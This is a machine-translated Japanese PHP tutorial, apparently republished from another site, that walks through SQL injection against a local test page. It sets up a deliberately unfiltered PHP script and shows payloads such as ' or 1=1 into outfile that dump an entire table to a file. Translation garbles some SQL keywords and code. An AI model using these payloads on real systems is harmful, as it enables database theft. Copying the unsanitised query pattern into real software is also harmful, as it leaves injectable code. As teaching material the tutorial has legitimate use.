ホームページ > バックエンド開発 > PHPチュートリアル > SQL インジェクション脆弱性の分析 SQL security_PHP チュートリアルのドラッグ ライブラリ原理

SQL インジェクション脆弱性の分析 SQL security_PHP チュートリアルのドラッグ ライブラリ原理

WBOY
リリース: 2016-07-13 10:46:23
オリジナル
1427 人が閲覧しました

この記事では、私自身の経験の一部を使用して、ハッカーの友人がデータベースの SQL 脆弱性をどのように利用してデータベースをダウンロードするかを説明します。必要に応じて、この記事を参照してください。

データベースにテーブルを作成します:

コードは次のとおりです コードをコピー

テーブル「記事」を作成 (

`articleid` int(11) NOT NULL AUTO_INCREMENT,

`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',

`content` テキスト CHARACTER SET utf8 NOT NULL,

主キー (`articleid`)

) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

テーブルにデータを挿入するためのコードは投稿しません。ダウンロードしてデータベースに直接インポートできます。

次に、ユーザーのリクエストを処理するページを作成します。ここでは、ユーザーが送信したデータを意図的にフィルターせず、テスト用に SQL インジェクションの脆弱性を残します。

コードは次のとおりです:

コードは次のとおりです コードをコピー

$servername = "ローカルホスト";

$dbusername = "root";

$dbpassword = "";

$dbname = "テスト";

$id=$_GET['id'];//id はフィルタリングされていません

$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("データベース接続に失敗しました");

mysql_select_db($dbname,$conn);

mysql_query('set names utf8');

$sql = "SELECT * FROM 記事 WHERE 記事 ID='$id'";

$result = mysql_query($sql,$conn);

$row = mysql_fetch_array($result);

echo "

SQL インジェクションの脆弱性を使用してライブラリをドラッグします

";

if (!$row){

「レコードは存在しません」をエコーし​​ます。

終了;

}

echo "title
".$row['title']."

";

echo "コンテンツ
".$row['content']."

";

?>

ブラウザに直接入力します:

コードは次のとおりです コードをコピー

http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1

記事テーブルのID 1のレコードにアクセスできます

訪問結果は以下の通りです:

次に、この脆弱性を使用して (脆弱性がわからない場合は、ツール + 手動検出のみを使用できます)、記事テーブルをダウンロードする方法を示します。

アドレスバーに次のように入力します:

コードは次のとおりです コードをコピー
」を出力ファイル「e:/sql.txt」%23

分析: %23 は # の ASCII コードです。アドレス バーに # を直接入力するとデータベース システムでは空になるため、アドレス バーに %23 を入力して # になり、コメントアウトする必要があります。次の SQL ステートメント。

実行後、Eドライブを開き、追加のsql.txtファイルを見つけます。それを開くと、テーブル記事にレコードがあります。

レコードが 1 つしかないのはなぜですか?このデータテーブルにはレコードが 1 つだけありますか?これは当てはまりません。ID 1 のレコードを 1 つだけ取得するので、記事テーブル内のすべてのレコードを一度にダウンロードできますか?

構築された SQL ステートメントが十分に柔軟である限り、答えは「はい」です (ここでも、構築された SQL ステートメントの柔軟性が取り上げられます)。

分析すると、URL アドレス バーに「into outfile 'e:/sql.txt'%23」と入力すると、SQL クエリ ステートメントにマージされ、次のようになります。

コードは次のとおりです コードをコピー


SELECT * FROM 記事 WHERE 記事 ID='5' を出力ファイル 'e:/whf.txt'#' に

慎重に分析した後、次のような SQL ステートメントを構築できます:

コードは次のとおりです コードをコピー
SELECT * FROMarticle WHERE、articleid='' または 1=1 を出力ファイル 'e:/whf.txt'#' に入力します

この場合、WHERE 句は何があっても常に true になります。つまり、SQL ステートメントは次と同等です。

コードは次のとおりですコードをコピーSELECT * FROM 記事から出力ファイル 'e:/whf.txt'#'
SQL ステートメントは、まず select ステートメントを実行してテーブル アーティクル内のすべてのコンテンツを取得し、次に出力ファイル 'e:/whf.txt'#' を実行してコンテンツをエクスポートします。

信じられないなら、やってみてください...

SQLインジェクションの脆弱性を利用して、テーブル名、カラム名、ユーザーパスワードの長さ(LEFT関数)などを推測することができます。もちろん、上記のデモのようにテーブル内のすべてのデータを直接エクスポートできれば、その必要はありません。テーブル名、列名など

http://www.bkjia.com/PHPjc/632941.htmlwww.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/632941.html技術記事この記事では、私自身の経験をもとに、ハッカーの友人がデータベースの SQL 脆弱性をどのように利用してデータベースをダウンロードするかを説明します。必要に応じてこの記事を参照してください。 データ内で...
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート